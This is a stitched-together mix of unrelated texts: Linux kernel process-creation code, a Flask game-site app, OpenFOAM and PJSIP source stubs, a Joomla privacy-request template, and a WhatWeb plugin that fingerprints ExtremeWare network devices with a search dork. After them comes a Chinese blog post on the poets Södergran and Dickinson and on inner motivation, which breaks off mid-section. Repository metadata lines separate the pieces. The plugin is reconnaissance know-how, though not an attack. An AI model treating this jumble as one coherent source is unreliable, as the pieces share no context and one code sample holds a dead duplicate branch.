p->cpus_allowed) || !cpu_online(task_cpu(p)))) set_task_cpu(p, smp_processor_id()); /* CLONE_PARENT re-uses the old parent */ if (clone_flags & (CLONE_PARENT|CLONE_THREAD)) p->real_parent = current->real_parent; else p->real_parent = current; p->parent = p->real_parent; spin_lock(&current->sighand->siglock); /* * Process group and session signals need to be delivered to just the * parent before the fork or both the parent and the child after the * fork. Restart if a signal comes in before we add the new process to * it's process group. * A fatal signal pending means that current will exit, so the new * thread can't slip out of an OOM kill (or normal SIGKILL). */ recalc_sigpending(); if (signal_pending(current)) { spin_unlock(&current->sighand->siglock); write_unlock_irq(&tasklist_lock); retval = -ERESTARTNOINTR; goto bad_fork_cleanup_namespaces; } if (clone_flags & CLONE_THREAD) { p->group_leader = current->group_leader; list_add_tail_rcu(&p->thread_group, &p->group_leader->thread_group); if (!cputime_eq(current->signal->it_virt_expires, cputime_zero) || !cputime_eq(current->signal->it_prof_expires, cputime_zero) || current->signal->rlim[RLIMIT_CPU].rlim_cur != RLIM_INFINITY || !list_empty(&current->signal->cpu_timers[0]) || !list_empty(&current->signal->cpu_timers[1]) || !list_empty(&current->signal->cpu_timers[2])) { /* * Have child wake up on its first tick to check * for process CPU timers. */ p->it_prof_expires = jiffies_to_cputime(1); } } if (likely(p->pid)) { add_parent(p); if (unlikely(p->ptrace & PT_PTRACED)) __ptrace_link(p, current->parent); if (thread_group_leader(p)) { p->signal->tty = current->signal->tty; p->signal->pgrp = process_group(current); set_signal_session(p->signal, process_session(current)); attach_pid(p, PIDTYPE_PGID, task_pgrp(current)); attach_pid(p, PIDTYPE_SID, task_session(current)); list_add_tail_rcu(&p->tasks, &init_task.tasks); __get_cpu_var(process_counts)++; } attach_pid(p, PIDTYPE_PID, pid); nr_threads++; } total_forks++; spin_unlock(&current->sighand->siglock); write_unlock_irq(&tasklist_lock); proc_fork_connector(p); /** Init the wait queue we added */ init_waitqueue_head(&p->join_queue); return p; bad_fork_cleanup_namespaces: exit_task_namespaces(p); bad_fork_cleanup_keys: exit_keys(p); bad_fork_cleanup_mm: if (p->mm) mmput(p->mm); bad_fork_cleanup_signal: cleanup_signal(p); bad_fork_cleanup_sighand: __cleanup_sighand(p->sighand); bad_fork_cleanup_fs: exit_fs(p); /* blocking */ bad_fork_cleanup_files: exit_files(p); /* blocking */ bad_fork_cleanup_semundo: exit_sem(p); bad_fork_cleanup_audit: audit_free(p); bad_fork_cleanup_security: security_task_free(p); bad_fork_cleanup_policy: #ifdef CONFIG_NUMA mpol_free(p->mempolicy); bad_fork_cleanup_cpuset: #endif cpuset_exit(p); bad_fork_cleanup_delays_binfmt: delayacct_tsk_free(p); if (p->binfmt) module_put(p->binfmt->module); bad_fork_cleanup_put_domain: module_put(task_thread_info(p)->exec_domain->module); bad_fork_cleanup_count: put_group_info(p->group_info); atomic_dec(&p->user->processes); free_uid(p->user); bad_fork_free: free_task(p); fork_out: return ERR_PTR(retval); } noinline struct pt_regs * __devinit __attribute__((weak)) idle_regs(struct pt_regs *regs) { memset(regs, 0, sizeof(struct pt_regs)); return regs; } struct task_struct * __cpuinit fork_idle(int cpu) { struct task_struct *task; struct pt_regs regs; task = copy_process(CLONE_VM, 0, idle_regs(&regs), 0, NULL, NULL, &init_struct_pid); if (!IS_ERR(task)) init_idle(task, cpu); return task; } static inline int fork_traceflag (unsigned clone_flags) { if (clone_flags & CLONE_UNTRACED) return 0; else if (clone_flags & CLONE_VFORK) { if (current->ptrace & PT_TRACE_VFORK) return PTRACE_EVENT_VFORK; } else if ((clone_flags & CSIGNAL) != SIGCHLD) { if (current->ptrace & PT_TRACE_CLONE) return PTRACE_EVENT_CLONE; } else if (current->ptrace & PT_TRACE_FORK) return PTRACE_EVENT_FORK; return 0; } /* * Ok, this is the main fork-routine. * * It copies the process, and if successful kick-starts * it and waits for it to finish using the VM if required. */ long do_fork(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr) { struct task_struct *p; int trace = 0; struct pid *pid = alloc_pid(); long nr; if (!pid) return -EAGAIN; nr = pid->nr; if (unlikely(current->ptrace)) { trace = fork_traceflag (clone_flags); if (trace) clone_flags |= CLONE_PTRACE; } p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, pid); /* * Do this prior waking up the new thread - the thread pointer * might get invalid after that point, if the thread exits quickly. */ if (!IS_ERR(p)) { struct completion vfork; if (clone_flags & CLONE_VFORK) { p->vfork_done = &vfork; init_completion(&vfork); } if ((p->ptrace & PT_PTRACED) || (clone_flags & CLONE_STOPPED)) { /* * We'll start up with an immediate SIGSTOP. */ sigaddset(&p->pending.signal, SIGSTOP); set_tsk_thread_flag(p, TIF_SIGPENDING); } if (!(clone_flags & CLONE_STOPPED)) wake_up_new_task(p, clone_flags); else p->state = TASK_STOPPED; if (unlikely (trace)) { current->ptrace_message = nr; ptrace_notify ((trace << 8) | SIGTRAP); } if (clone_flags & CLONE_VFORK) { freezer_do_not_count(); wait_for_completion(&vfork); freezer_count(); if (unlikely (current->ptrace & PT_TRACE_VFORK_DONE)) { current->ptrace_message = nr; ptrace_notify ((PTRACE_EVENT_VFORK_DONE << 8) | SIGTRAP); } } } else { free_pid(pid); nr = PTR_ERR(p); } return nr; } #ifndef ARCH_MIN_MMSTRUCT_ALIGN #define ARCH_MIN_MMSTRUCT_ALIGN 0 #endif static void sighand_ctor(void *data, struct kmem_cache *cachep, unsigned long flags) { struct sighand_struct *sighand = data; spin_lock_init(&sighand->siglock); INIT_LIST_HEAD(&sighand->signalfd_list); } void __init proc_caches_init(void) { sighand_cachep = kmem_cache_create("sighand_cache", sizeof(struct sighand_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_DESTROY_BY_RCU, sighand_ctor, NULL); signal_cachep = kmem_cache_create("signal_cache", sizeof(struct signal_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); files_cachep = kmem_cache_create("files_cache", sizeof(struct files_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); fs_cachep = kmem_cache_create("fs_cache", sizeof(struct fs_struct), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); vm_area_cachep = kmem_cache_create("vm_area_struct", sizeof(struct vm_area_struct), 0, SLAB_PANIC, NULL, NULL); mm_cachep = kmem_cache_create("mm_struct", sizeof(struct mm_struct), ARCH_MIN_MMSTRUCT_ALIGN, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL); } /* * Check constraints on flags passed to the unshare system call and * force unsharing of additional process context as appropriate. */ static inline void check_unshare_flags(unsigned long *flags_ptr) { /* * If unsharing a thread from a thread group, must also * unshare vm. */ if (*flags_ptr & CLONE_THREAD) *flags_ptr |= CLONE_VM; /* * If unsharing vm, must also unshare signal handlers. */ if (*flags_ptr & CLONE_VM) *flags_ptr |= CLONE_SIGHAND; /* * If unsharing signal handlers and the task was created * using CLONE_THREAD, then must unshare the thread */ if ((*flags_ptr & CLONE_SIGHAND) && (atomic_read(&current->signal->count) > 1)) *flags_ptr |= CLONE_THREAD; /* * If unsharing namespace, must also unshare filesystem information. */ if (*flags_ptr & CLONE_NEWNS) *flags_ptr |= CLONE_FS; } /* * Unsharing of tasks created with CLONE_THREAD is not supported yet */ static int unshare_thread(unsigned long unshare_flags) { if (unshare_flags & CLONE_THREAD) return -EINVAL; return 0; } /* * Unshare the filesystem structure if it is being shared */ static int unshare_fs(unsigned long unshare_flags, struct fs_struct **new_fsp) { struct fs_struct *fs = current->fs; if ((unshare_flags & CLONE_FS) && (fs && atomic_read(&fs->count) > 1)) { *new_fsp = __copy_fs_struct(current->fs); if (!*new_fsp) return -ENOMEM; } return 0; } /* * Unsharing of sighand is not supported yet */ static int unshare_sighand(unsigned long unshare_flags, struct sighand_struct **new_sighp) { struct sighand_struct *sigh = current->sighand; if ((unshare_flags & CLONE_SIGHAND) && atomic_read(&sigh->count) > 1) return -EINVAL; else return 0; } /* * Unshare vm if it is being shared */ static int unshare_vm(unsigned long unshare_flags, struct mm_struct **new_mmp) { struct mm_struct *mm = current->mm; if ((unshare_flags & CLONE_VM) && (mm && atomic_read(&mm->mm_users) > 1)) { return -EINVAL; } return 0; } /* * Unshare file descriptor table if it is being shared */ static int unshare_fd(unsigned long unshare_flags, struct files_struct **new_fdp) { struct files_struct *fd = current->files; int error = 0; if ((unshare_flags & CLONE_FILES) && (fd && atomic_read(&fd->count) > 1)) { *new_fdp = dup_fd(fd, &error); if (!*new_fdp) return error; } return 0; } /* * Unsharing of semundo for tasks created with CLONE_SYSVSEM is not * supported yet */ static int unshare_semundo(unsigned long unshare_flags, struct sem_undo_list **new_ulistp) { if (unshare_flags & CLONE_SYSVSEM) return -EINVAL; return 0; } /* * unshare allows a process to 'unshare' part of the process * context which was originally shared using clone. copy_* * functions used by do_fork() cannot be used here directly * because they modify an inactive task_struct that is being * constructed. Here we are modifying the current, active, * task_struct. */ asmlinkage long sys_unshare(unsigned long unshare_flags) { int err = 0; struct fs_struct *fs, *new_fs = NULL; struct sighand_struct *new_sigh = NULL; struct mm_struct *mm, *new_mm = NULL, *active_mm = NULL; struct files_struct *fd, *new_fd = NULL; struct sem_undo_list *new_ulist = NULL; struct nsproxy *new_nsproxy = NULL, *old_nsproxy = NULL; check_unshare_flags(&unshare_flags); /* Return -EINVAL for all unsupported flags */ err = -EINVAL; if (unshare_flags & ~(CLONE_THREAD|CLONE_FS|CLONE_NEWNS|CLONE_SIGHAND| CLONE_VM|CLONE_FILES|CLONE_SYSVSEM| CLONE_NEWUTS|CLONE_NEWIPC)) goto bad_unshare_out; if ((err = unshare_thread(unshare_flags))) goto bad_unshare_out; if ((err = unshare_fs(unshare_flags, &new_fs))) goto bad_unshare_cleanup_thread; if ((err = unshare_sighand(unshare_flags, &new_sigh))) goto bad_unshare_cleanup_fs; if ((err = unshare_vm(unshare_flags, &new_mm))) goto bad_unshare_cleanup_sigh; if ((err = unshare_fd(unshare_flags, &new_fd))) goto bad_unshare_cleanup_vm; if ((err = unshare_semundo(unshare_flags, &new_ulist))) goto bad_unshare_cleanup_fd; if ((err = unshare_nsproxy_namespaces(unshare_flags, &new_nsproxy, new_fs))) goto bad_unshare_cleanup_semundo; if (new_fs || new_mm || new_fd || new_ulist || new_nsproxy) { task_lock(current); if (new_nsproxy) { old_nsproxy = current->nsproxy; current->nsproxy = new_nsproxy; new_nsproxy = old_nsproxy; } if (new_fs) { fs = current->fs; current->fs = new_fs; new_fs = fs; } if (new_mm) { mm = current->mm; active_mm = current->active_mm; current->mm = new_mm; current->active_mm = new_mm; activate_mm(active_mm, new_mm); new_mm = mm; } if (new_fd) { fd = current->files; current->files = new_fd; new_fd = fd; } task_unlock(current); } if (new_nsproxy) put_nsproxy(new_nsproxy); bad_unshare_cleanup_semundo: bad_unshare_cleanup_fd: if (new_fd) put_files_struct(new_fd); bad_unshare_cleanup_vm: if (new_mm) mmput(new_mm); bad_unshare_cleanup_sigh: if (new_sigh) if (atomic_dec_and_test(&new_sigh->count)) kmem_cache_free(sighand_cachep, new_sigh); bad_unshare_cleanup_fs: if (new_fs) put_fs_struct(new_fs); bad_unshare_cleanup_thread: bad_unshare_out: return err; }
j0n3lson/linux-2.6.22.19-cs370
kernel/fork.c
C
gpl-2.0
41,833
import random import time from flask import ( request, session, flash, redirect, url_for, Response, render_template, ) from NossiPack.Cards import Cards from NossiPack.User import Userlist from NossiPack.VampireCharacter import VampireCharacter from NossiPack.krypta import DescriptiveError from NossiSite.base import app as defaultapp, log from NossiSite.helpers import checklogin def register(app=None): if app is None: app = defaultapp @app.route("/setfromsource/") def setfromsource(): checklogin() source = request.args.get("source") ul = Userlist() u = ul.loaduserbyname(session.get("user")) try: new = VampireCharacter() if new.setfromdalines(source[-7:]): u.sheetid = u.savesheet(new) ul.saveuserlist() flash("character has been overwritten with provided Dalines sheet!") else: flash("problem with " + source) except Exception: log.exception("setfromsource:") flash( "Sorry " + session.get("user").capitalize() + ", I can not let you do that." ) return redirect(url_for("charsheet")) @app.route("/timetest") def timetest(): return str(time.time()) @app.route("/boardgame<int:size>_<seed>.json") @app.route("/boardgame<int:size>_.json") def boardgamemap(size, seed=""): if size > 100: size = 100 rx = random.Random() if seed: rx.seed(str(size) + str(seed)) def r(a=4): for _ in range(a): yield rx.randint(1, 10) def e(inp, dif): for i in inp: yield 2 if i == 10 else (1 if i >= dif else 0) def fpik(inp, pref="FPIK"): vals = list(inp) vals = [(v if v != 2 else (2 if sum(vals) < 4 else 1)) for v in vals] for i, p in enumerate(pref): yield '"' + p + '": ' + str(vals[i]) def cell(): # i, j): difficulty = 8 """6 + ( (9 if i == j else 8) if i in [0, size - 1] and j in [0, size - 1] else (7 if j in [0, size - 1] else (6 if j % 2 == 1 and (i in [0, size - 1] or j in [0, size - 1]) else (5 if 0 < i < size - 1 else 8))))""" for li in fpik(e(r(), difficulty)): yield li first = True def notfirst(): nonlocal first if first: first = False return True return False def resetfirst(): nonlocal first first = True def generate(): yield '{"board": [' for x in range(size): yield ("," if not first else "") + "[" resetfirst() for y in range(size): yield ("" if notfirst() else ",") + '{ "x":%d, "y":%d, ' % ( x, y, ) + ",".join( cell( # x, y ) ) + "}" yield "]" yield "]}" return Response(generate(), mimetype="text/json") @app.route("/gameboard/<int:size>/") @app.route("/gameboard/<int:size>/<seed>") def gameboard(size, seed=""): if size > 20: size = 20 return render_template("gameboard.html", size=size, seed=seed) @app.route("/chargen/standard") def standardchar(): return redirect( url_for("chargen", a=3, b=5, c=7, abia=5, abib=9, abic=13, shuffle=1) ) @app.route("/cards/", methods=["GET"]) @app.route("/cards/<command>", methods=["POST", "GET"]) def cards(command: str = None): checklogin() deck = Cards.getdeck(session["user"]) try: if request.method == "GET": if command is None: return deck.serialized_parts elif request.method == "POST": par = request.get_json()["parameter"] if command == "draw": return {"result": list(deck.draw(par))} elif command == "spend": return {"result": list(deck.spend(par))} elif command == "returnfun": return {"result": list(deck.pilereturn(par))} elif command == "dedicate": if ":" not in par: par += ":" return {"result": list(deck.dedicate(*par.split(":", 1)))} elif command == "remove": return {"result": list(deck.remove(par))} elif command == "free": message = deck.undedicate(par) for m in message: flash("Affected Dedication: " + m) return {"result": "ok", "messages": list(message)} elif command == "free": affected, message = deck.free(par) for m in message: flash("Affected Dedication: " + m) return { "result": list(affected), "messages": message, } else: return {"result": "error", "error": f"invalid command {command}"} return render_template("cards.html", cards=deck) except DescriptiveError as e: return {"result": "error", "error": e.args[0]} except TypeError: return {"result": "error", "error": "Parameter is not in a valid Format"} finally: Cards.savedeck(session["user"], deck) @app.route("/chargen", methods=["GET", "POST"]) def chargen_menu(): if request.method == "POST": f = dict(request.form) if not f.get("vampire", None): return redirect( url_for( "chargen", a=f["a"], b=f["b"], c=f["c"], abia=f["abia"], abib=f["abib"], abic=f["abic"], shuffle=1 if f.get("shuffle", 0) else 0, ) ) return redirect( url_for( "chargen", a=f["a"], b=f["b"], c=f["c"], abia=f["abia"], abib=f["abib"], abic=f["abic"], shuffle=1 if f["shuffle"] else 0, vamp=f["discipline"], back=f["back"], ) ) return render_template("generate_dialog.html") @app.route("/chargen/<a>,<b>,<c>,<abia>,<abib>,<abic>,<shuffle>") @app.route("/chargen/<a>,<b>,<c>,<abia>,<abib>,<abic>,<shuffle>,<vamp>,<back>") def chargen(a, b, c, abia, abib, abic, shuffle, vamp=None, back=None): """ Redirects to the charactersheet/ editor(if logged in) of a randomly generated character :param a: points to be allocated in the first attribute group :param b: points to be allocated in the second attribute group :param c: points to be allocated in the third attribute group :param abia: points to be allocated in the first ability group :param abib: points to be allocated in the second ability group :param abic: points to be allocated in the third ability group :param shuffle: if the first/second/third groups should be shuffled (each) :param vamp: if not None, character will be a vampire, int(vamp) is the amount of discipline points :param back: background points """ try: char = VampireCharacter.makerandom( 1, 5, int(a), int(b), int(c), int(abia), int(abib), int(abic), int(shuffle), ) print(vamp) if vamp is not None: char.makevamprandom(vamp, back) print(char.getdictrepr()) if session.get("logged_in", False): return render_template( "vampsheet_editor.html", character=char.getdictrepr(), Clans=VampireCharacter.get_clans(), Backgrounds=VampireCharacter.get_backgrounds(), New=True, ) return render_template("vampsheet.html", character=char.getdictrepr()) except Exception as e: flash("ERROR" + "\n".join(e.args)) raise
x4dr/NossiNet
NossiSite/extra.py
Python
gpl-2.0
9,041
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | \\ / A nd | Copyright held by original author \\/ M anipulation | ------------------------------------------------------------------------------- License This file is part of OpenFOAM. OpenFOAM is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. OpenFOAM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenFOAM; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \*---------------------------------------------------------------------------*/ #include "floatScalar.H" #include "IOstreams.H" #include <sstream> // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #define Scalar floatScalar #define ScalarVSMALL floatScalarVSMALL #define readScalar readFloatScalar #include "Scalar.C" #undef Scalar #undef ScalarVSMALL #undef readScalar // ************************************************************************* //
Unofficial-Extend-Project-Mirror/openfoam-extend-Core-OpenFOAM-1.5-dev
src/OpenFOAM/primitives/Scalar/floatScalar/floatScalar.C
C++
gpl-2.0
1,619
/* Company : Nequeo Pty Ltd, http://www.nequeo.com.au/ * Copyright : Copyright © Nequeo Pty Ltd 2016 http://www.nequeo.com.au/ * * File : EndpointInterface.h * Purpose : SIP Endpoint Interface class. * */ /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <pjsua2\endpoint.hpp> namespace Nequeo { namespace Net { namespace Android { namespace PjSip { typedef void(*OnNatDetectionComplete_Function)(const pj::OnNatDetectionCompleteParam&); typedef void(*OnNatCheckStunServersComplete_Function)(const pj::OnNatCheckStunServersCompleteParam&); typedef void(*OnTransportState_Function)(const pj::OnTransportStateParam&); typedef void(*OnTimer_Function)(const pj::OnTimerParam&); typedef void(*OnSelectAccount_Function)(pj::OnSelectAccountParam&); /// <summary> /// Endpoint callbacks. /// </summary> class EndpointInterface : public pj::Endpoint { public: /// <summary> /// Endpoint callbacks. /// </summary> EndpointInterface(); /// <summary> /// Endpoint callbacks. /// </summary> virtual ~EndpointInterface(); }; } } } }
drazenzadravec/nequeo
Source/Android/Components/Net/NequeoAndroidPjSip/NequeoAndroidPjSip/EndpointInterface.h
C
gpl-2.0
2,157
<?php /** * @package Joomla.Administrator * @subpackage com_privacy * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper; /** @var PrivacyViewRequest $this */ HTMLHelper::_('behavior.formvalidator'); HTMLHelper::_('behavior.keepalive'); ?> <form action="<?php echo Route::_('index.php?option=com_privacy&view=request&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate" data-cancel-task="request.cancel"> <div class="row mt-3"> <div class="col-12 col-md-6 mb-3"> <div class="card"> <h3 class="card-header"><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_INFORMATION'); ?></h3> <div class="card-body"> <dl class="dl-horizontal"> <dt><?php echo Text::_('JGLOBAL_EMAIL'); ?>:</dt> <dd><?php echo $this->item->email; ?></dd> <dt><?php echo Text::_('JSTATUS'); ?>:</dt> <dd><?php echo HTMLHelper::_('privacy.statusLabel', $this->item->status); ?></dd> <dt><?php echo Text::_('COM_PRIVACY_FIELD_REQUEST_TYPE_LABEL'); ?>:</dt> <dd><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $this->item->request_type); ?></dd> <dt><?php echo Text::_('COM_PRIVACY_FIELD_REQUESTED_AT_LABEL'); ?>:</dt> <dd><?php echo HTMLHelper::_('date', $this->item->requested_at, Text::_('DATE_FORMAT_LC6')); ?></dd> </dl> </div> </div> </div> <div class="col-12 col-md-6 mb-3"> <div class="card"> <h3 class="card-header"><?php echo Text::_('COM_PRIVACY_HEADING_ACTION_LOG'); ?></h3> <div class="card-body"> <?php if (empty($this->actionlogs)) : ?> <div class="alert alert-info"> <span class="fa fa-info-circle" aria-hidden="true"></span><span class="sr-only"><?php echo Text::_('INFO'); ?></span> <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?> </div> <?php else : ?> <table class="table table-striped table-hover"> <thead> <th> <?php echo Text::_('COM_ACTIONLOGS_ACTION'); ?> </th> <th> <?php echo Text::_('COM_ACTIONLOGS_DATE'); ?> </th> <th> <?php echo Text::_('COM_ACTIONLOGS_NAME'); ?> </th> </thead> <tbody> <?php foreach ($this->actionlogs as $i => $item) : ?> <tr class="row<?php echo $i % 2; ?>"> <td> <?php echo ActionlogsHelper::getHumanReadableLogMessage($item); ?> </td> <td> <?php echo HTMLHelper::_('date', $item->log_date, Text::_('DATE_FORMAT_LC6')); ?> </td> <td> <?php echo $item->name; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif;?> </div> </div> </div> </div> <input type="hidden" name="task" value="" /> <?php echo HTMLHelper::_('form.token'); ?> </form>
astridx/joomla-cms
administrator/components/com_privacy/tmpl/request/default.php
PHP
gpl-2.0
3,149
## # This file is part of WhatWeb and may be subject to # redistribution and commercial restrictions. Please see the WhatWeb # web site for more information on licensing and terms of use. # https://morningstarsecurity.com/research/whatweb ## Plugin.define do name "ExtremeWare" authors [ "Brendan Coles <[email protected]>", # 2011-11-21 ] version "0.1" description "Extreme Networks ExtremeWare device" website "http://www.extremenetworks.com/services/software-userguide.aspx" # ShodanHQ results as at 2011-11-21 # # 250 for ExtremeWare # Google results as at 2011-11-21 # # 50 for intitle:"ExtremeWare Management Interface" # Dorks # dorks [ 'intitle:"ExtremeWare Management Interface"' ] # Matches # matches [ # Version Detection # HTTP Server Header { :search=>"headers[server]", :version=>/^ExtremeWare\/([^\s]+)$/ }, # /Images/extremelogan { :md5=>"a18d6970836e3302e4d6d085e8f9d31b", :url=>"/Images/extremelogan" }, { :md5=>"bf368990304c878ce2924bc21b3f06d9", :url=>"/Images/extremelogan" }, # / # Title { :text=>'<title>ExtremeWare Management Interface</title>' }, # /extremetop # Logo HTML { :text=>'<center><img src="Images/extremelogan"><a href="extremebasepage" target="_top"><h2>Logon</h2></a><P><P><TABLE BORDER="0"><TR><TD NOWRAP><TT><FONT COLOR="#000000">' }, ] end
urbanadventurer/WhatWeb
plugins/extremeware.rb
Ruby
gpl-2.0
1,295
--- layout: post title: 灵魂选择自己的伴侣 - 阳志平 category: literature tags: modern_times --- ![](https://cdn.kelu.org/blog/tags/literature.jpg) 许久没有看文艺味道的文章了。转载一篇。原文链接<https://gist.github.com/ouyangzhiping/aa44edcc7f7cbb6888805617bcb1b4d6> 以下是原文: **灵魂选择自己的伴侣,少年选择自己的城市**。异类需要与异类在一起。欢迎各位来参加开智部落成立典礼。今天,我要跟大家分享一位异类的故事。 ## 我必须徒步穿越太阳系 ### 从前有一位女孩子 从前有一位女孩子,十六岁时父亲去世,家庭陷入贫困。父亲因为感染肺结核而去世,而她自己也感染了肺结核。她一生备受病魔贫困摧残。窘迫时不得不出售自己的香水与内衣,换得稿纸。 如此热爱写作,带来的是什么?她一生贫困交织,活到三十一岁时,就因为肺结核与营养不良,不幸离世。短短一生出版了四本诗集,在世时并未得到好评,可以说「有趣的傻瓜」是所有评价中最好听的一个了。如果你又穷又没名气,你的问题会是什么?我在一个问答网站,用「月薪三千」搜索,你可以看到一系列提问,比如「月薪三千,如何白手起家」、「月薪三千怎么追求白富美」、「月薪三千怎么买房」、「月薪三千如何在北京生存」。 **前四个问题指向白富美、财富名声与华服豪宅等外在奖赏。这是绝大多数人习以为常的一种思维**。然而,这一位女孩与众不同。友人安猪兄曾经在第二届开智大会的演讲中提过,「问题改变思考层面」: **在贫困无名时,你的问题是什么?** 假若你仅仅关注「行为和现象」,缺什么补什么,收入不高就拼命赚钱。这样你可能仅仅只能获得两倍启发。假若你关注「关系和结构」,比如月薪三千,如何借助「贵人」与 「时空选择论」来获得好运,此时你可能会获得十倍启发。**很少有人站在「心智和文化」的层面思考,这就好比仅仅关注冰山浮出水面的部分,却忽略冰山底层**。 ### 存在的胜利 如果你是那位女孩子,在贫困无名时,你会怎么做?那时是十九世纪末,肺结核的死亡率很高,所以她很早意识到生命短暂。如果说多数人在贫困无名时,选择的是名利等外部奖赏,而她选择了另一种生活——**热情地爱与热情地创作**。 **越是生命随时可能中止,她越是热情地活着**。试读: 诗1:存在的胜利 我怕什么?我是无穷的一部分。 我是所有伟大力量的一部分, 千百万个世界之内一个孤独的世界, 如同一颗最后消失的一级的星星。 活着的胜利,呼吸的胜利,存在的胜利! 在诗人眼中,虽然因为肺结核,**活着不容易,每次呼吸都是胜利**,但是「我怕什么呢?」,我就是伟大;我就是一个世界!我终究迎来「存在的胜利!」。诗人推崇尼采,张扬个人意志。诗歌中充满了自由、太阳、星星、上帝、先知等意象。在诗人笔下,**人类始终不是渺小的,你可以像一次周末远足一样,简简单单地穿越太阳系**。试欣赏: 诗2:我必须徒步穿越太阳系 我必须徒步穿越太阳系 我预感到了这一点 宇宙的某个角落悬挂着我的心 火从那里迸溅,振动空气 并向其他狂放的心涌去 你能猜出来这位女孩子是哪一位诗人吗?她就是北欧女诗人索德格朗。虽然在世时默默无名,离世多年后,她的作品才被重视,被誉为北欧最伟大的诗人。试欣赏她的一首名作: 诗3:星星 当夜色降临 我站在台阶上倾听 星星蜂拥在花园里 而我站在黑暗中。 听,一颗星星落地作响! 你别赤脚在这草地上散步 我的花园到处是星星的碎片 —— 索德格朗 不再仰望星空,星星是你的小伙伴。你可以和它一起去玩各种各样的游戏,你在你的大花园漫步时,你要把脚步放轻放慢,避免踩到在你脚边的星星。 ## 灵魂选择自己的伴侣 **索德格朗常常与另一位美国诗人狄金森相提并论**。比如说身体都不好,都不怎么社交。索德格朗是肺结核;狄金森则是胃病;索德格朗疏于社交,狄金森则在生命的最盛之季,三十来岁时离群索居,独身不嫁。两人更大的相似也许在于,她们都格外注重成为内在动机驱使的人。狄金森正是《灵魂选择自己的伴侣》一诗作者,试读: 诗4:灵魂选择自己的伴侣 灵魂选择自己的伴侣, 然后,把门紧闭, 她神圣的决定, 再不容干预。 发现车辇在她低矮的门前, 不为所动, 一位皇帝跪在她的席垫, 不为所动。 我知道她从人口众多的整个民族 选中了一个, 从此封闭关心的阀门, 像一块石头 —— 狄金森 索德格朗与狄金森气质类似,都注重保护内在的动机。索德格朗徒步穿越太阳系,寻找选悬挂在宇宙某个角落的心,呼唤存在的胜利;而狄金森始终坚持「灵魂选择自己的伴侣」,**皇帝跪在你的面前,不为所动**。 当然,这是理想状态。在现实生活中,穿越太阳系时你可能会遇上太阳黑子风暴,步入迷途;更多的人会为名利所动,对权势人物趋之若鹜。那么,**如果你乐意成为一名内在动机驱动的人,怎样更好地保护你的内在动机**?也许你已经知道了要从兴趣与好奇心出发;也许你还知道了「自我决定论」,但今天在这里,我要讲三个你不熟悉的做法,来帮助你更好地保护内在动机。 ### 可供性 第一个做法是可供性。在讨论产品设计时,人们常常注重的是产品可用性。却不知还有另一个概念叫可供性。可供性与可用性不同,**它不关注产品有什么用,而是关注它能否提供新的可能性**。 举个例子,之前你可能更多把微信群当作一个聊天工具来使用,但是我发现了微信群新的可供性——它可以变为一个集体共创平台。基于微信群的头脑风暴与集体协作,因此诞生了一本书——《追时间的人》。 具体到开智部落也是如此。**有的同学可能更关注开智部落的「可用性」—— 它能给自己带来什么价值?你可以尝试切换为 「可供性」视角**。开智部落将各位终身学习者聚集在一起,形成创造者社群。在这个社群中,它和其他社群不一样的可供性是什么?是开智团队自主研发的 直播功能、卡包功能?抑或其他?基于直播、卡包这些新玩法,我可以做些什么? **从「可用性」到「可供性」,意味着更突出生命主体的价值**。从关注「自己的作品有什么用」转为「自己的作品有什么不一样,是否能提供新的可能性」。比如在你16岁到31岁,你出版四本书,没有得到什么好评,当代人对你不理解,假若你去关注「可用性」,这样你很可能会丢失掉自己原本能够获得的东西,被「外在动机驱使」。 北欧女诗人索德格朗坚持自己写法,并不关注自己作品的「可用性」,反而得到了更多「可供性」—— 她一辈子写了两百首左右诗歌,到了今天,不少成为北欧文学中的经典。 ### 演绎法 